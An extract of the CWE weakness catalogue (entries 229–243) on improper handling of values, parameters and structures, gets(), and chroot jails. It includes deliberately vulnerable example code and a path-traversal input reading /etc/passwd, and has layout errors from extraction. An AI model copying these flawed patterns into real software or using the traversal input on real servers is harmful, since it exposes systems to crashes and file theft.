The software does not properly handle when the expected number of values for parameters, fields, or arguments is not provided in input, or if those values are undefined.

**Time of Introduction**

- Architecture and Design
- Implementation

**Common Consequences**

- Integrity
  - Unexpected state

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>228</td>
<td>Improper Handling of Syntactically Invalid Structure</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>993</td>
<td>SFP Secondary Cluster: Incorrect Input Handling</td>
<td>888</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1395</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>230</td>
<td>Improper Handling of Missing Values</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>231</td>
<td>Improper Handling of Extra Values</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>232</td>
<td>Improper Handling of Undefined Values</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
</tbody>
</table>

CWE-230: Improper Handling of Missing Values

**Description**

**Summary**

The software does not handle or incorrectly handles when a parameter, field, or argument name is specified, but the associated value is missing, i.e. it is empty, blank, or null.

**Time of Introduction**

- Implementation

**Applicable Platforms**

**Languages**

- All
Common Consequences

Integrity
Unexpected state

Demonstrative Examples

This application has registered to handle a URL when sent an intent:

Java Example:

```java
... IntentFilter filter = new IntentFilter("com.example.URLHandler.openURL");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
...
public class UrlHandlerReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        if("com.example.URLHandler.openURL".equals(intent.getAction())) {
            String URL = intent.getStringExtra("URLToOpen");
            int length = URL.length();
            ...
        }
    }
}
```

The application assumes the URL will always be included in the intent. When the URL is not present, the call to getStringExtra() will return null, thus causing a null pointer exception when length() is called.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2000-1006</td>
<td>Blank &quot;charset&quot; attribute in MIME header triggers crash.</td>
</tr>
<tr>
<td>CVE-2002-0422</td>
<td>Blank Host header triggers resultant infoleak.</td>
</tr>
<tr>
<td>CVE-2004-1504</td>
<td>Blank parameter causes external error infoleak.</td>
</tr>
<tr>
<td>CVE-2005-2053</td>
<td>Blank parameter causes external error infoleak.</td>
</tr>
</tbody>
</table>

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>229</td>
<td>Improper Handling of Values</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td>851</td>
<td>CERT Java Secure Coding Section 06 - Exceptional Behavior (ERR)</td>
<td>844</td>
</tr>
<tr>
<td></td>
<td></td>
<td>993</td>
<td>SFP Secondary Cluster: Incorrect Input Handling</td>
<td>888</td>
</tr>
</tbody>
</table>

Research Gaps

Some "crash by port scan" bugs are probably due to this, but lack of diagnosis makes it difficult to be certain.

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>Missing Value Error</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>ERR08-J</td>
<td>Do not catch NullPointerException or any of its ancestors</td>
</tr>
</tbody>
</table>

CWE-231: Improper Handling of Extra Values

<table>
<thead>
<tr>
<th>Weakness ID: 231 (Weakness Variant)</th>
<th>Status: Draft</th>
</tr>
</thead>
</table>

Description

Summary

The software does not handle or incorrectly handles when more values are provided than expected.

Time of Introduction

• Architecture and Design
• Implementation

Applicable Platforms
CWE Version 2.11
CWE-232: Improper Handling of Undefined Values

Languages
- All

Modes of Introduction
This typically occurs in situations when only one value is expected.

Common Consequences
Integrity
Unexpected state

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>CanPrecede</td>
<td>☑</td>
<td>120</td>
<td>Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>☑</td>
<td>229</td>
<td>Improper Handling of Values</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>☑</td>
<td>993</td>
<td>SFP Secondary Cluster: Incorrect Input Handling</td>
<td>888</td>
</tr>
</tbody>
</table>

Relationship Notes
This can overlap buffer overflows.

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Extra Value Error</td>
</tr>
</tbody>
</table>

CWE-232: Improper Handling of Undefined Values

Weakness ID: 232 *(Weakness Variant)*

Status: Draft

Description

Summary
The software does not handle or incorrectly handles when a value is not defined or supported for the associated parameter, field, or argument name.

Time of Introduction
- Architecture and Design
- Implementation

Applicable Platforms

Languages
- All

Common Consequences
Integrity
Unexpected state

Demonstrative Examples
In this example, an address parameter is read and trimmed of whitespace.

Java Example:

```java
String address = request.getParameter("address");
address = address.trim();
String updateString = "UPDATE shippingInfo SET address=?' WHERE email='cwe@example.com';
emailAddress = con.prepareStatement(updateString);
emailAddress.setString(1, address);
```

If the value of the address parameter is null (undefined), the servlet will throw a NullPointerException when the trim() is attempted.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2000-1003</td>
<td>Client crash when server returns unknown driver type.</td>
</tr>
</tbody>
</table>

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>☑</td>
<td>229</td>
<td>Improper Handling of Values</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>☑</td>
<td>1000</td>
<td></td>
<td>1000</td>
</tr>
</tbody>
</table>
CWE-233: Improper Handling of Parameters

**Description**

**Summary**
The software does not properly handle when the expected number of parameters, fields, or arguments is not provided in input, or if those parameters are undefined.

**Time of Introduction**
- Architecture and Design
- Implementation

**Common Consequences**
- Integrity
- Unexpected state

**Demonstrative Examples**
This application has registered to handle a URL when sent an intent:

**Java Example:**

```java
... IntentFilter filter = new IntentFilter("com.example.URLHandler.openURL");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);

... public class UrlHandlerReceiver extends BroadcastReceiver {
  @Override
  public void onReceive(Context context, Intent intent) {
    if("com.example.URLHandler.openURL".equals(intent.getAction())) {
      String URL = intent.getStringExtra("URLToOpen");
      int length = URL.length();
      ...
  }
}
```

The application assumes the URL will always be included in the intent. When the URL is not present, the call to getStringExtra() will return null, thus causing a null pointer exception when length() is called.

**Relationships**

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Parameter Problems</td>
</tr>
</tbody>
</table>
Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>39</td>
<td>Manipulating Opaque Client-based Data Tokens</td>
</tr>
</tbody>
</table>

CWE-234: Failure to Handle Missing Parameter

**Weakness ID: 234 (Weakness Variant)**

**Status: Incomplete**

**Description**

**Summary**

If too few arguments are sent to a function, the function will still pop the expected number of arguments from the stack. Potentially, a variable number of arguments could be exhausted in a function as well.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms**

- Languages
  - All

**Common Consequences**

- Integrity
- Confidentiality
- Availability
- Access Control
- Execute unauthorized code or commands
- Gain privileges / assume identity

There is the potential for arbitrary code execution with privileges of the vulnerable program if function parameter list is exhausted.

**Availability**

**DoS: crash / exit / restart**

Potentially a program could fail if it needs more arguments then are available.

**Likelihood of Exploit**

High

**Demonstrative Examples**

**C/C++ Example:**

```c
void foo_funct(int one, int two, int three) {
  printf("1) %d\n2) %d\n3) %d\n", one, two, three);
}
```

**C/C++ Example:**

```c
void some_function(int foo, ...) {
  int a[3], i;
  va_list ap;
  va_start(ap, foo);
  for (i = 0; i < sizeof(a) / sizeof(int); i++) a[i] = va_arg(ap, int);
  va_end(ap);
}
int main(int argc, char *argv[]) {
  some_function(17, 42);
}
```

This can be exploited to disclose information with no work whatsoever. In fact, each time this function is run, it will print out the next 4 bytes on the stack after the two numbers sent to it.

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2000-0521</td>
<td>Web server allows disclosure of CGI source code via an HTTP request without the version number.</td>
</tr>
</tbody>
</table>
CWE Version 2.11

CWE-235: Improper Handling of Extra Parameters

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2001-0590</td>
<td>Application server allows a remote attacker to read the source code to arbitrary 'jsp' files via a malformed URL request which does not end with an HTTP protocol specification.</td>
</tr>
<tr>
<td>CVE-2002-0107</td>
<td>Resultant inofleak in web server via GET requests without HTTP/1.0 version string.</td>
</tr>
<tr>
<td>CVE-2002-0596</td>
<td>GET request with empty parameter leads to error message infoleak (path disclosure).</td>
</tr>
<tr>
<td>CVE-2002-1023</td>
<td>Server allows remote attackers to cause a denial of service (crash) via an HTTP GET request without a URI.</td>
</tr>
<tr>
<td>CVE-2002-1077</td>
<td>Crash in HTTP request without a Content-Length field.</td>
</tr>
<tr>
<td>CVE-2002-1169</td>
<td>Proxy allows remote attackers to cause a denial of service (crash) via an HTTP request to helpout.exe with a missing HTTP version numbers.</td>
</tr>
<tr>
<td>CVE-2002-1236</td>
<td>CGI crashes when called without any arguments.</td>
</tr>
<tr>
<td>CVE-2002-1358</td>
<td>Empty elements/strings in protocol test suite affect many SSH2 servers/clients.</td>
</tr>
<tr>
<td>CVE-2002-1488</td>
<td>Chat client allows remote malicious IRC servers to cause a denial of service (crash) via a PART message with (1) a missing channel or (2) a channel that the user is not in.</td>
</tr>
<tr>
<td>CVE-2002-1531</td>
<td>Crash in HTTP request without a Content-Length field.</td>
</tr>
<tr>
<td>CVE-2003-0239</td>
<td>Chat software allows remote attackers to cause a denial of service via malformed GIF89a headers that do not contain a GCT (Global Color Table) or an LCT (Local Color Table) after an Image Descriptor.</td>
</tr>
<tr>
<td>CVE-2003-0422</td>
<td>CGI crashes when called without any arguments.</td>
</tr>
<tr>
<td>CVE-2003-0477</td>
<td>FTP server crashes in PORT command without an argument.</td>
</tr>
<tr>
<td>CVE-2004-0276</td>
<td>Server earlier allows remote attackers to cause a denial of service (crash) via an HTTP request with a sequence of &quot;%&quot; characters and a missing Host field.</td>
</tr>
</tbody>
</table>

Potential Mitigations

**Build and Compilation**

This issue can be simply combated with the use of proper build process.

**Implementation**

Forward declare all functions. This is the recommended solution. Properly forward declaration of all used functions will result in a compiler error if too few arguments are sent to a function.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>233</td>
<td>Improper Handling of Parameters</td>
<td>699</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td>993</td>
<td>SFP Secondary Cluster: Incorrect Input Handling</td>
<td>1000</td>
<td></td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Missing Parameter Error</td>
</tr>
<tr>
<td>CLASP</td>
<td>Missing parameter</td>
</tr>
</tbody>
</table>

Maintenance Notes

This entry will be deprecated in a future version of CWE. The term "missing parameter" was used in both PLOVER and CLASP, with completely different meanings. However, data from both taxonomies was merged into this entry. In PLOVER, it was meant to cover malformed inputs that do not contain required parameters, such as a missing parameter in a CGI request. This entry's observed examples and classification came from PLOVER. However, the description, demonstrative example, and other information are derived from CLASP. They are related to an incorrect number of function arguments, which is already covered by CWE-685.

CWE-235: Improper Handling of Extra Parameters

**Weakness ID:** 235 *(Weakness Variant)*

**Description**

**Summary**

The software does not handle or incorrectly handles when the number of parameters, fields, or arguments with the same name exceeds the expected amount.

**Time of Introduction**

- Architecture and Design
CWE Version 2.11
CWE-236: Improper Handling of Undefined Parameters

- Implementation

Applicable Platforms

Languages
- All

Modes of Introduction
This typically occurs in situations when only one element is expected to be specified.

Common Consequences

Integrity
Unexpected state

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2003-1014</td>
<td>MIE, multiple gateway/security products allow restriction bypass using multiple MIME fields with the same name, which are interpreted differently by clients.</td>
</tr>
</tbody>
</table>

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>B</td>
<td>233</td>
<td>Improper Handling of Parameters</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>993</td>
<td>SFP Secondary Cluster: Incorrect Input Handling</td>
<td>888</td>
</tr>
</tbody>
</table>

Relationship Notes
This type of problem has a big role in multiple interpretation vulnerabilities and various HTTP attacks.

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Extra Parameter Error</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>460</td>
<td>HTTP Parameter Pollution (HPP)</td>
<td></td>
</tr>
</tbody>
</table>

CWE-236: Improper Handling of Undefined Parameters

Weakness ID: 236 (Weakness Variant) Status: Draft

Description
Summary
The software does not handle or incorrectly handles when a particular parameter, field, or argument name is not defined or supported by the product.

Time of Introduction
- Architecture and Design
- Implementation

Applicable Platforms

Languages
- All

Common Consequences

Integrity
Unexpected state

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2001-0650</td>
<td>Router crash or bad route modification using BGP updates with invalid transitive attribute.</td>
</tr>
<tr>
<td>CVE-2002-1488</td>
<td>Crash in IRC client via PART message from a channel the user is not in.</td>
</tr>
</tbody>
</table>

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>B</td>
<td>233</td>
<td>Improper Handling of Parameters</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>993</td>
<td>SFP Secondary Cluster: Incorrect Input Handling</td>
<td>888</td>
</tr>
</tbody>
</table>
CWE-237: Improper Handling of Structural Elements

**Weakness ID:** 237 *(Weakness Base)*

**Description**

**Summary**
The software does not handle or incorrectly handles inputs that are related to complex structures.

**Common Consequences**

- **Integrity**
- **Unexpected state**

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>228</td>
<td>Improper Handling of Syntactically Invalid Structure</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>993</td>
<td>SFP Secondary Cluster: Incorrect Input Handling</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>238</td>
<td>Improper Handling of Incomplete Structural Elements</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>239</td>
<td>Failure to Handle Incomplete Element</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>240</td>
<td>Improper Handling of Inconsistent Structural Elements</td>
<td>699</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Undefined Parameter Error</td>
</tr>
</tbody>
</table>

CWE-238: Improper Handling of Incomplete Structural Elements

**Weakness ID:** 238 *(Weakness Variant)*

**Description**

**Summary**
The software does not handle or incorrectly handles when a particular structural element is not completely specified.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**

- All

**Common Consequences**

- **Integrity**
- **Unexpected state**

**Weakness Ordinalities**

**Resultant** *(where the weakness is typically related to the presence of some other weaknesses)*

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>237</td>
<td>Improper Handling of Structural Elements</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>993</td>
<td>SFP Secondary Cluster: Incorrect Input Handling</td>
<td>888</td>
</tr>
</tbody>
</table>

**Relationship Notes**

Can be primary to other problems.
CWE Version 2.11

CWE-239: Failure to Handle Incomplete Element

Causal Nature
Explicit (an explicit weakness resulting from behavior of the developer)

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Missing Element Error</td>
</tr>
</tbody>
</table>

CWE-239: Failure to Handle Incomplete Element

Weakness ID: 239 (Weakness Variant)  Status: Draft

Description

Summary
The software does not properly handle when a particular element is not completely specified.

Time of Introduction
- Architecture and Design
- Implementation

Applicable Platforms

Languages
- All

Common Consequences

Integrity
Other
Varies by context
Unexpected state

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-1532</td>
<td>HTTP GET without \n\n\n CRLF sequences causes product to wait indefinitely and prevents other users from accessing it.</td>
</tr>
<tr>
<td>CVE-2002-1906</td>
<td>CPU consumption by sending incomplete HTTP requests and leaving the connections open.</td>
</tr>
<tr>
<td>CVE-2003-0195</td>
<td>Partial request is not timed out.</td>
</tr>
<tr>
<td>CVE-2005-2526</td>
<td>MFV. CPU exhaustion in printer via partial printing request then early termination of connection.</td>
</tr>
</tbody>
</table>

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>3</td>
<td>237</td>
<td>Improper Handling of Structural Elements</td>
<td>699</td>
</tr>
<tr>
<td>PeerOf</td>
<td>4</td>
<td>404</td>
<td>Improper Resource Shutdown or Release</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>4</td>
<td>993</td>
<td>SFP Secondary Cluster: Incorrect Input Handling</td>
<td>888</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Missing Element</td>
</tr>
</tbody>
</table>

CWE-240: Improper Handling of Inconsistent Structural Elements

Weakness ID: 240 (Weakness Variant)  Status: Draft

Description

Summary
The software does not handle or incorrectly handles when two or more structural elements should be consistent, but are not.

Time of Introduction
- Architecture and Design
- Implementation

Applicable Platforms
CWE-241: Improper Handling of Unexpected Data Type

Languages
• All

Common Consequences
Integrity
Other
Varies by context
Unexpected state

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>🍃</td>
<td>237</td>
<td>Improper Handling of Structural Elements</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td>🍃</td>
<td>707</td>
<td>Improper Enforcement of Message or Data Structure</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td>🍃</td>
<td>993</td>
<td>SFP Secondary Cluster: Incorrect Input Handling</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🍃</td>
<td>130</td>
<td>Improper Handling of Length Parameter Inconsistency</td>
<td>1000</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Inconsistent Elements</td>
</tr>
</tbody>
</table>

CWE-241: Improper Handling of Unexpected Data Type

Weakness ID: 241 (Weakness Base) Status: Draft

Description

Summary
The software does not handle or incorrectly handles when a particular element is not the expected type, e.g. it expects a digit (0-9) but is provided with a letter (A-Z).

Time of Introduction
• Architecture and Design
• Implementation

Applicable Platforms

Languages
• All

Common Consequences
Integrity
Other
Varies by context
Unexpected state

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-1999-1156</td>
<td>FTP server crash via PORT command with non-numeric character.</td>
</tr>
<tr>
<td>CVE-2004-0270</td>
<td>Anti-virus product has assert error when line length is non-numeric.</td>
</tr>
</tbody>
</table>

Potential Mitigations
Implementation

Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumerical characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation

Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Relationships

Nature | Type | ID | Name | Page
--- | --- | --- | --- | ---
ChildOf | 228 | Improper Handling of Syntactically Invalid Structure | 699 | 420
ChildOf | 743 | CERT C Secure Coding Section 09 - Input Output (FIO) | 734 | 1137
ChildOf | 877 | CERT C++ Secure Coding Section 09 - Input Output (FIO) | 868 | 1319
ChildOf | 993 | SFP Secondary Cluster: Incorrect Input Handling | 888 | 1395

Research Gaps

Probably under-studied.

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>Wrong Data Type</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>FIO37-C</td>
<td>Do not assume character data has been read</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>FIO37-CPP</td>
<td>Do not assume character data has been read</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>48</td>
<td>Passing Local Filenames to Functions That Expect a URL</td>
<td></td>
</tr>
</tbody>
</table>

CWE-242: Use of Inherently Dangerous Function

Weakness ID: 242 (Weakness Base)  Status: Draft

Description

Summary

The program calls a function that can never be guaranteed to work safely.

Extended Description

Certain functions behave in dangerous ways regardless of how they are used. Functions in this category were often implemented without taking security concerns into account. The gets() function is unsafe because it does not perform bounds checking on the size of its input. An attacker can easily send arbitrarily-sized input to gets() and overflow the destination buffer. Similarly, the >> operator is unsafe to use when reading into a statically-allocated character array because it does not perform bounds checking on the size of its input. An attacker can easily send arbitrarily-sized input to the >> operator and overflow the destination buffer.
CWE Version 2.11
CWE-242: Use of Inherently Dangerous Function

Time of Introduction
• Implementation

Applicable Platforms
Languages
• C
• C++

Common Consequences
Other
Varies by context

Likelihood of Exploit
High

Demonstrative Examples
Example 1:
The code below calls gets() to read information into a buffer.

C Example: Bad Code
char buf[BUFSIZE];
gets(buf);

The gets() function in C is inherently unsafe.

Example 2:
The code below calls the gets() function to read in data from the command line.

C Example: Bad Code
char buf[24];
printf("Please enter your name and press <Enter>\n");
gets(buf);
...
}

However, the programmer uses the function gets() which is inherently unsafe because it blindly
copies all input from STDIN to the buffer without checking size. This allows the user to provide a
string that is larger than the buffer size, resulting in an overflow condition.

Potential Mitigations
Implementation
Requirements
Ban the use of dangerous functions. Use their safe equivalent.

Testing
Use grep or static analysis tools to spot usage of dangerous functions.

Weakness Ordinalities
Primary (where the weakness exists independent of other weaknesses)

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>[V]</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>CanPrecede</td>
<td>O</td>
<td>120</td>
<td>Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')</td>
<td>1000</td>
<td>234</td>
</tr>
<tr>
<td>ChildOf</td>
<td>O</td>
<td>227</td>
<td>Improper Fulfillment of API Contract ('API Abuse')</td>
<td>699</td>
<td>419</td>
</tr>
<tr>
<td>ChildOf</td>
<td>O</td>
<td>710</td>
<td>Coding Standards Violation</td>
<td>1000</td>
<td>1112</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>748</td>
<td>CERT C Secure Coding Section 50 - POSIX (POS)</td>
<td>734</td>
<td>1140</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>1001</td>
<td>SFP Secondary Cluster: Use of an Improper API</td>
<td>888</td>
<td>1414</td>
</tr>
</tbody>
</table>

Causal Nature
Explicit (an explicit weakness resulting from behavior of the developer)

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>7 Pernicious Kingdoms</td>
<td></td>
<td>Dangerous Functions</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>POS33-C</td>
<td>Do not use vfork()</td>
</tr>
</tbody>
</table>
CWE-243: Creation of chroot Jail Without Changing Working Directory

**mapping Table**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Software Fault Patterns</td>
<td>SFP3</td>
<td>Use of an improper API</td>
</tr>
</tbody>
</table>

**References**


---

**CWE-243: Creation of chroot Jail Without Changing Working Directory**

**Weakness ID:** 243 *(Weakness Variant)*

**Status:** Draft

**Description**

**Summary**

The program uses the chroot() system call to create a jail, but does not change the working directory afterward. This does not prevent access to files outside of the jail.

**Extended Description**

Improper use of chroot() may allow attackers to escape from the chroot jail. The chroot() function call does not change the process's current working directory, so relative paths may still refer to file system resources outside of the chroot jail after chroot() has been called.

**Time of Introduction**

- Implementation

**Applicable Platforms**

- **Languages**
  - C
  - C++

- **Operating Systems**
  - UNIX

**Common Consequences**

- **Confidentiality**
  - Read files or directories

**Likelihood of Exploit**

High

**Demonstrative Examples**

Consider the following source code from a (hypothetical) FTP server:

**C Example:**

```c
chroot("/var/ftproot");

fgets(filename, sizeof(filename), network);
localfile = fopen(filename, "r");
while ((len = fread(buf, 1, sizeof(buf), localfile)) != EOF) {
    fwrite(buf, 1, sizeof(buf), network);
}
fclose(localfile);
```

This code is responsible for reading a filename from the network, opening the corresponding file on the local machine, and sending the contents over the network. This code could be used to implement the FTP GET command. The FTP server calls chroot() in its initialization routines in an attempt to prevent access to files outside of /var/ftproot. But because the server does not change the current working directory by calling chdir("/"), an attacker could request the file "/../../../etc/passwd" and obtain a copy of the system password file.

**Background Details**

The chroot() system call allows a process to change its perception of the root directory of the file system. After properly invoking chroot(), a process cannot access any files outside the directory tree defined by the new root directory. Such an environment is called a chroot jail and is
commonly used to prevent the possibility that a process could be subverted and used to access unauthorized files. For instance, many FTP servers run in chroot jails to prevent an attacker who discovers a new vulnerability in the server from being able to download the password file or other sensitive files on the system.

**Weakness Ordinalities**

**Resultant (where the weakness is typically related to the presence of some other weaknesses)**

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>⬤</td>
<td>227</td>
<td>Improper Fulfillment of API Contract ('API Abuse')</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td>⬤</td>
<td>270</td>
<td></td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td>⬤</td>
<td>573</td>
<td>Improper Following of Specification by Caller</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td>⬤</td>
<td>1013</td>
<td></td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td>⬤</td>
